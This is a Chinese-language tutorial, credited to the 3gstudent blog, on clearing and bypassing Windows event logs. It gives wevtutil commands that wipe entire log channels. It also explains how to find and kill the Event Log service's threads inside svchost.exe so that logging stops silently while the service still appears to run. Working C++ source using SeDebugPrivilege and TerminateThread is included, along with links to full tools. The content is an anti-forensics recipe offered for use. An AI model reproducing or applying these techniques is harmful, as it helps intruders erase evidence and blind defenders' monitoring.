Windows日志的清除与绕过
简介
- 日志的清除
- 日志的绕过
分类
- 应用程序
- 安全
- setup
- 系统
- 转发事件
日志查看方法
- 我的电脑右键-管理-计算机管理-管理工具-事件查看器
- control-管理工具-事件查看器
- 搜索
- eventvwr
- win10右键开始菜单-事件查看器
- powershell Get-winevent查看所有日志
清除方法
- wevtutil.exe
操作系统默认包含,win7及以上- 统计日志列表,查询所有日志信息。
wevtutile.exe gli Application - 查看指定类型日志
wevtutil qe /f:text Application - 删除该类日志所有内容
wevtutil cl Application
- 统计日志列表,查询所有日志信息。
- NSA DanderSpiritz
相关链接:https://3gstudent.github.io/3gstudent.github.io/NSA-DanderSpiritz测试指南-木马生成与测试/
Windows日志绕过方法
原理:
Windows日志对应于eventlog服务,找到该服务对应的进程svchost.exe,进而筛选出svchost.exe进程中具体实现日志功能的线程,调用TerminateThread结束线程,破坏日志记录功能
特点:
由于只结束了实现日志功能的线程,所以Windows Event Log服务没有被破坏,状态仍为正在运行
绕过方法一:
- 定位eventlog服务对应进程svchost.exe的pid
- 遍历该进程中的所有线程
- 判断线程是否满足条件Windows Event Log 服务需要调用wevtsvc.dll,完整路径为%WinDir%\System32\wevtsvc.dll并且,如果线程调用了wevtsvc.dll,就可以判读该线程实现了日志记录功能
- 结束线程使用TerminateThread
注:
Halil Dalabasmaz@hlldz使用powershell实现了方法一,完整代码可参考:https://github.com/hlldz/Invoke-Phant0mpowershell脚本执行后,Windows日志功能失效,无法记录日志,操作如下图
- 恢复方法结束进程svchost.exe重新开启Windows Event Log 服务:net start eventlog
绕过方法二
- 定位eventlog服务对应进程svchost.exe的pidpowershell代码如下:
Get-WmiObject -Class win32_service -Filter "name = 'eventlog'" | select -exp ProcessId
-
遍历该进程中的所有线程
使用PsList,下载地址:https://technet.microsoft.com/en-us/sysinternals/bb896682.aspx
具体参数如下:
pslist.exe /accepteula -d 7008
获取进程svchost.exe中的所有线程,如下图
-
判断线程是否满足条件
获取线程对应的服务,如果为eventlog,则满足条件使用工具:ScTagQuery,下载地址:http://www.winsiderss.com/tools/sctagquery/sctagqry.zip
具体参数如下:
sctagqry.exe -t 7928
根据返回的结果Service Tag,判断线程对应的服务找到对应eventlog的线程,如下图
线程8136符合条件,依次尝试,直到获取所有符合条件线程
注:
使用Process Explorer可以简化此过程找到eventlog服务对应进程svchost.exe如下图
右键查看属性,选择Threads标签,查看线程,可直接获得线程对应的服务如下图
符合条件的线程TID为:
- 8136
- 8052
- 6708
- 2316
- 6356
- 结束线程
调用TerminateThread通过c++实现,部分代码如下:
/*
TerminateEventLogThread.cpp
Author:3gstudent@3gstudent
Use to terminate Event Log thread
*/
#include <windows.h>
BOOL SetPrivilege()
{
HANDLE hToken;
TOKEN_PRIVILEGES NewState;
LUID luidPrivilegeLUID;
if(!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)||!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luidPrivilegeLUID))
{
printf("SetPrivilege Error\n");
return FALSE;
}
NewState.PrivilegeCount = 1;
NewState.Privileges[0].Luid = luidPrivilegeLUID;
NewState.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if(!AdjustTokenPrivileges(hToken, FALSE, &NewState, NULL, NULL, NULL))
{
printf("AdjustTokenPrivilege Errro\n");
return FALSE;
}
return TRUE;
}
int main(int argc, char* argv[])
{
SetPrivilege();
printf("TerminateThread TID:\n");
for(int i=1;i<argc;i++)
{
printf("%s\n",argv[i]);
HANDLE hThread = OpenThread(0x0001, FALSE,atoi(argv[i]));
if(TerminateThread(hThread,0)==0)
printf("[!] TerminateThread Error, TID: %s \n",argv[i]);
CloseHandle(hThread);
}
return 0;
}
控制台支持传入多个参数,向其传入5个TID: 8136 8052 6708 2316 6356自动结束对应线程,日志功能失效
具体操作如下图:
完整实现代码https://github.com/3gstudent/Windwos-EventLog-Bypass
补充
- 安装sysmon可对Windows日志功能进行扩展
参考:https://3gstudent.github.io/3gstudent.github.io/通过APC实现Dll注入-绕过Sysmon监控/ - 绕过方法仅针对windows日志
对应用程序和服务日志失效,例如Windows Powershell
文章摘自3gstudent博客